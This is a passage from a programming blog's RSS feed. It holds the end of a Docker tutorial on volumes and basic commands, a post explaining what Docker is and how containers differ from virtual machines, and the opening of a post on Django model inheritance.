style=&#34;color:#ff5c57&#34;&gt;local&lt;/span&gt; volumes not used by at least one container.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Are you sure you want to &lt;span style=&#34;color:#ff6ac1&#34;&gt;continue&lt;/span&gt;? &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;y/N&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt; y&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;volumes-connected&#34;&gt;Volumes connected&lt;/h3&gt;&#xA;&lt;p&gt;If we want a folder in our system to synchronize with a folder in our container we can also do it using volumes. Instead of specifying the name of the volume we use the address of the folder to synchronize. Unlike the volumes that Docker managed, which required root permissions here we decide the folder that Docker will use as a volume, so if we have the appropriate permissions, we will be able to modify, create or read files with our current user.&lt;/p&gt;&#xA;&lt;p&gt;**Any change that we make in our container or in our machine is going to be reflected in both of them, that is to say that if we create or modify a file, it is going to appear in our system as well as inside the container.&lt;/p&gt;&#xA;&lt;p&gt;The following example creates a container named mongoDB (&lt;em&gt;&amp;ndash;name mongoDB&lt;/em&gt;), in detach (&lt;em&gt;-d&lt;/em&gt;) mode. The &lt;em&gt;-v&lt;/em&gt; option will link the folder specified before the colon, with the directory of the container we specify after the colon. At the end is the name of our image, in this case our No-sql database called mongo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker run --name mongoDB -d -v /home/user/database/myMongoDb:/data/db mongo&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we want the volume to be read-only, just add &amp;ldquo;&lt;em&gt;:ro&lt;/em&gt;&amp;rdquo; to the end of our syntax.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker run --name mongoDB -d -v /Users/user/Dev/database:/data/db:ro mongo&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;There, this is enough to have a basic idea of the volumes. But typing the commands one by one is cumbersome, and you can&amp;rsquo;t (and shouldn&amp;rsquo;t) save those commands in a version control system, why not something more portable and convenient, well, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/docker/how-to-write-a-docker-file-from-scratch/&#34;&gt;for that you can learn how to write a Dockerfile from scratch.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;useful-docker-commands&#34;&gt;Useful docker commands&lt;/h2&gt;&#xA;&lt;p&gt;This command finds the &lt;em&gt;docker-compose.yml&lt;/em&gt; file that runs a container&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker inspect &amp;lt;container_id&amp;gt; | grep com.docker.compose&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Stop all containers&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker stop &lt;span style=&#34;color:#ff6ac1&#34;&gt;$(&lt;/span&gt;docker ps -a -q&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This tutorial covered only the basics of Docker. Next I will talk about &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/how-to-convert-jpg-to-webp-on-gnu-linux/&#34;&gt;docker compose, the Docker container management tool&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;If you read the previous post where I explain &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/docker/what-is-docker-and-what-is-it-for/&#34;&gt;what Docker is for&lt;/a&gt;&#xA; you should already have a pretty simple idea of Docker, but I haven&amp;rsquo;t posted anything about the most basic docker commands. Here I explain them in detail, and also how to use volumes along with Dockerfiles to automate your container&amp;rsquo;s creation process.&lt;/p&gt;&#xA;&lt;h2 id=&#34;images-and-containers-are-different&#34;&gt;Images and containers are different&lt;/h2&gt;&#xA;&lt;p&gt;Before we start, it is necessary to clarify that in Docker we work with containers that are created from images. An image is like a read-only template, while the container is the materialization of that template, you could say that it is an instantiated or running image.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>What is Docker and what is it for?</title>
      <link>https://coffeebytes.dev/en/docker/what-is-docker-and-what-is-it-for/</link>
      <pubDate>Tue, 29 Sep 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/docker/what-is-docker-and-what-is-it-for/</guid>
      
      <category>docker</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;If you have been using computers for a long time, you are probably more familiar with a virtual machine than a container, aren&amp;rsquo;t you? Docker solves the same problem as virtual machines but in a different way than the latter. But let&amp;rsquo;s take it one step at a time, let&amp;rsquo;s start by answering: what is Docker and what is it for?&lt;/p&gt;&#xA;&lt;h2 id=&#34;what-is-docker&#34;&gt;What is Docker?&lt;/h2&gt;&#xA;&lt;p&gt;Docker is a tool that allows you to package an application and its dependencies in a lightweight container. It&amp;rsquo;s as if you take a complete application with absolutely everything it needs to run so that you can seamlessly transport it to any other server with Docker installed, either for further development or for deploying. So, that&amp;rsquo;s it? transporting code? I&amp;rsquo;m sure you&amp;rsquo;ll tell me that&amp;rsquo;s already done by virtual machines, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/why-should-you-use-a-virtual-environment-in-python/&#34;&gt;virtual environments&lt;/a&gt;&#xA;, zip files and pretty much any tool. Well yes, but I&amp;rsquo;m going to try to explain in a simple way what the issues are.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;what-is-docker-for&#34;&gt;What is Docker for?&lt;/h2&gt;&#xA;&lt;p&gt;In order to explain what Docker is for, let&amp;rsquo;s create a hypothetical multifaceted and multidisciplinary team.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Manolo: uses windows because he likes the ease with which everything is done.&lt;/li&gt;&#xA;&lt;li&gt;Sofia: prefers iOS because it is more elegant and intuitive.&lt;/li&gt;&#xA;&lt;li&gt;Ricardo: likes GNU/Linux because he can customize it as he wants.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Each member of our hypothetical team installs a package from a different operating system. Moreover, there are dependencies that may not be available on one of the operating systems. In the end, when the project is unified, compatibility problems may arise due to the differences between operating systems.&lt;/p&gt;&#xA;&lt;p&gt;Manolo, Sofia and Ricardo know this, for this reason our team agrees to use the same operating system; GNU/Linux in its Ubuntu distribution.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Manolo, use a live usb to run the newest version of Ubuntu on your pc.&lt;/li&gt;&#xA;&lt;li&gt;Sofia installs Ubuntu from a CD copy she had in her desk drawer.&lt;/li&gt;&#xA;&lt;li&gt;Ricardo, on the other hand, keeps his operating system as it was in the beginning.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Even if you are both using the same distribution, it&amp;rsquo;s not exactly the same operating system. Notice what can go wrong here? Exactly, there are different versions of the same operating system, as well as the kernel on which they run, and probably each version of the Kernel has different packages, with their respective versions, in their repositories, in addition to the custom configuration that each user or hosting provider may have on their systems.&lt;/p&gt;&#xA;&lt;p&gt;**This does not necessarily mean that if we set up a project on a server without using Docker everything will go wrong, but it introduces a variability that could be avoided if everyone used &lt;strong&gt;exactly the same version of the operating system&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;docker-uses-containers&#34;&gt;Docker uses containers&lt;/h2&gt;&#xA;&lt;p&gt;&lt;strong&gt;Docker allows us to run our applications in containers&lt;/strong&gt;, each with its own function, operating system and resources. Now you are probably thinking: a container is like a virtual machine, isn&amp;rsquo;t it? why not use virtual machines then? Well yes, containers are a form of virtualization and work similarly to a virtual machine, but technically they are not the same.&lt;/p&gt;&#xA;&lt;p&gt;To avoid falling into the vile hands of computer science purists I will quote the differences between virtual machine and container as they are in the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.docker.com/resources/what-container&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;official Docker website&lt;/a&gt;&#xA;, and I will entrust myself to the good knowledge of its editors:&lt;/p&gt;&#xA;&lt;h2 id=&#34;differences-between-containers-and-virtual-machines&#34;&gt;Differences between containers and virtual machines&lt;/h2&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;container&#34;&gt;Container&lt;/h3&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Containers are an abstraction at the app layer that packages code and dependencies together. Multiple containers can run on the same machine and share the OS kernel with other containers, each running as isolated processes in user space. Containers take up less space than VMs (container images are typically tens of MBs in size), can handle more applications and require fewer VMs and Operating systems.&lt;/p&gt;&#xA;&lt;p&gt;What is a Container? (n.d.). Retrieved September 23, 2020, from &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.docker.com/resources/what-container&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;https://www.docker.com/resources/what-container&lt;/a&gt;&#xA;&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;The thing to remember about containers is that &lt;strong&gt;they are not resource intensive, they are isolated and virtualize the operation of an operating system&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If you want to know how a container works, at the code level, I will tell you that &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/docker/how-does-a-docker-container-work-internally/&#34;&gt;a container is a process that uses namespaces, linux cgroups and chroot&lt;/a&gt;&#xA; to isolate a group of processes in linux, limit the operating system resources they can use and have their own file system, respectively.&lt;/p&gt;&#xA;&lt;h3 id=&#34;virtual-machine&#34;&gt;Virtual machine&lt;/h3&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Virtual machines (VMs in singular or VMs in plural) are an abstraction of the physical hardware that turn one server into many servers. The VM monitor allows multiple virtual machines to run on a single machine. Each VM includes a complete copy of an operating system, application, libraries and necessary binaries - taking tens of GBs. VMs can also be slow to boot.&lt;/p&gt;&#xA;&lt;p&gt;What is a Container (n.d.). Retrieved September 23, 2020, from &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.docker.com/resources/what-container&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;https://www.docker.com/resources/what-container&lt;/a&gt;&#xA;&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;The important thing to remember about virtual machines is that, compared to containers, &lt;strong&gt;they take up a lot of memory space and, because they must load a full operating system, they can take much longer to boot&lt;/strong&gt; and, unlike containers, &lt;strong&gt;virtualize the operation of the hardware part.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/docker/what-is-docker-and-what-is-it-for/images/Diferencias-entre-maquina-virtual-y-docker.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/docker/what-is-docker-and-what-is-it-for/images/Diferencias-entre-maquina-virtual-y-docker.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Differences between a virtual machine and docker&#34; width=&#34;748&#34; height=&#34;500&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;In the first image we can see that, in the case of containers, the applications interact directly with Docker, and this, in turn, with the operating system.&lt;/p&gt;&#xA;&lt;p&gt;In the second image we have several applications, &lt;strong&gt;each application running on its own operating system&lt;/strong&gt;, that&amp;rsquo;s right, three complete operating systems monopolizing resources, doesn&amp;rsquo;t it sound quite inefficient? Under those virtual machines, the software in charge of creating and running them (Hypervisor) interacts with the operating system.&lt;/p&gt;&#xA;&lt;p&gt;In addition to the differences in structure, Docker performs optimizations when running, such as using a single operating system if multiple containers use it, so as not to repeat information.&lt;/p&gt;&#xA;&lt;h2 id=&#34;there-are-two-versions-of-docker&#34;&gt;There are two versions of Docker&lt;/h2&gt;&#xA;&lt;p&gt;It is also important to note that, as is common in Freemium models, &lt;strong&gt;there are two versions of Docker:&lt;/strong&gt; the community version, called Docker CE (community edition), which is open source, and the Docker EE (Enterprise Edition), which is paid and has additional features to its counterpart.&lt;/p&gt;&#xA;&lt;h2 id=&#34;dont-use-docker-just-because-you-can&#34;&gt;Don&amp;rsquo;t use Docker just because you can&lt;/h2&gt;&#xA;&lt;p&gt;One more thing before ending this entry. &lt;strong&gt;Docker is great, but you don&amp;rsquo;t need to use it in every project&lt;/strong&gt;. Project experts often say that adding an extra layer of complexity to a project is something that needs to be evaluated on a case-by-case basis.&lt;/p&gt;&#xA;&lt;p&gt;In the end Docker is just another tool that should be used to solve a problem that exists or is likely to exist. You&amp;rsquo;re not going to be mounting static pages in Docker containers with Apache or NGINX for a project that you might as well mount directly on a CDN.&lt;/p&gt;&#xA;&lt;h2 id=&#34;summary&#34;&gt;Summary&lt;/h2&gt;&#xA;&lt;p&gt;For practical purposes, Docker will allow us to create applications that we will be able to easily move from one environment to another, that will run in isolated containers within our operating system and that &lt;strong&gt;will behave exactly the same on any machine with Docker installed&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;All of the above will get rid of the &amp;ldquo;it worked perfect on my machine&amp;rdquo; and avoid errors caused by environment or configuration differences at development time. Keep reading about Docker in the next post.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;If you have been using computers for a long time, you are probably more familiar with a virtual machine than a container, aren&amp;rsquo;t you? Docker solves the same problem as virtual machines but in a different way than the latter. But let&amp;rsquo;s take it one step at a time, let&amp;rsquo;s start by answering: what is Docker and what is it for?&lt;/p&gt;&#xA;&lt;h2 id=&#34;what-is-docker&#34;&gt;What is Docker?&lt;/h2&gt;&#xA;&lt;p&gt;Docker is a tool that allows you to package an application and its dependencies in a lightweight container. It&amp;rsquo;s as if you take a complete application with absolutely everything it needs to run so that you can seamlessly transport it to any other server with Docker installed, either for further development or for deploying. So, that&amp;rsquo;s it? transporting code? I&amp;rsquo;m sure you&amp;rsquo;ll tell me that&amp;rsquo;s already done by virtual machines, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/why-should-you-use-a-virtual-environment-in-python/&#34;&gt;virtual environments&lt;/a&gt;&#xA;, zip files and pretty much any tool. Well yes, but I&amp;rsquo;m going to try to explain in a simple way what the issues are.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Understand inheritance types in Django models</title>
      <link>https://coffeebytes.dev/en/django/understand-inheritance-types-in-django-models/</link>
      <pubDate>Mon, 21 Sep 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/django/understand-inheritance-types-in-django-models/</guid>
      
      <category>django</category>
      
      <category>databases</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Sometimes, when we create Models in Django we want to give certain characteristics in common to several of our models. Probably, the first approach that would come to our mind would be to repeat the fields over and over again. This would bring us two problems; first, we are repeating information; second, if we want to add another field in common we will have to modify each of the models. This problem is solved by Django&amp;rsquo;s model inheritance.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Notice how multiple fields repeat in both models&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Product&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;150&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    description &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;TextField()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    manufacter &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ForeignKey(Manufacter, on_delete&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CASCADE)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    modified &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DateTimeField(auto_now&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    created &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DateTimeField(auto_now_add&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Manufacturer&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    description &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;TextField()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    modified &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DateTimeField(auto_now&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    created &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DateTimeField(auto_now_add&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;inheritance-types-in-django&#34;&gt;Inheritance types in Django&lt;/h2&gt;&#xA;&lt;p&gt;There are three types of inheritance available and each behaves differently at the table level:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Abstract&lt;/li&gt;&#xA;&lt;li&gt;Multi table&lt;/li&gt;&#xA;&lt;li&gt;Proxy&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;For this example I will be using Django version 3.1 and Python 3.7.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;abstract-inheritance&#34;&gt;Abstract Inheritance&lt;/h2&gt;&#xA;&lt;p&gt;This type of inheritance allows us to put a variety of fields in common that we want the models that inherit from it to include. To define a model as Abstract just add the &lt;em&gt;Meta&lt;/em&gt; class containing an attribute called &lt;em&gt;abstract&lt;/em&gt; equal to &lt;em&gt;True&lt;/em&gt;. &lt;strong&gt;Django will not create any table&lt;/strong&gt; for a model with &lt;em&gt;Meta.abstract = 